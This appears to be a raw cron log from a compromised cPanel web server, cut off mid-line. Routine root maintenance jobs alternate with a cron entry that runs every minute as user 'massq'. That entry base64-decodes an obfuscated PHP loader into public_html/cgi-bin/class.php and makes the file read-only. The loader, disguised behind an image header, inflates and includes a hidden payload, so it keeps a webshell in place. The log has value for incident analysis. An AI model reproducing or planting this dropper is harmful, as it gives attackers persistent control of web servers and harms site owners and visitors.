EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:22:01 server CROND[10973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:22:01 server CROND[10974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:22:01 server CROND[10975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:23:01 server CROND[11355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:23:01 server CROND[11354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:23:01 server CROND[11356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:24:01 server CROND[11740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:24:01 server CROND[11741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:24:01 server CROND[11742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:25:01 server CROND[12228]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:25:01 server CROND[12237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:25:01 server CROND[12236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:25:01 server CROND[12238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:25:01 server CROND[12240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:25:01 server CROND[12239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:25:01 server CROND[12241]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:25:01 server CROND[12242]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 08:26:01 server CROND[13100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:26:01 server CROND[13101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:26:01 server CROND[13103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:27:01 server CROND[13545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:27:01 server CROND[13546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:27:01 server CROND[13548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:27:01 server CROND[13547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:28:01 server CROND[13945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:28:01 server CROND[13946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:28:01 server CROND[13947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:29:01 server CROND[14326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:29:01 server CROND[14325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:29:01 server CROND[14327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:30:01 server CROND[14809]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 08:30:01 server CROND[14810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:30:01 server CROND[14813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:30:01 server CROND[14822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:30:01 server CROND[14825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:30:01 server CROND[14818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:30:01 server CROND[14819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:30:01 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:30:01 server CROND[14820]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:31:01 server CROND[15647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:31:01 server CROND[15649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:31:01 server CROND[15648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:32:01 server CROND[16045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:32:01 server CROND[16046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:32:01 server CROND[16048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:33:01 server CROND[16434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:33:01 server CROND[16435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:33:01 server CROND[16436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1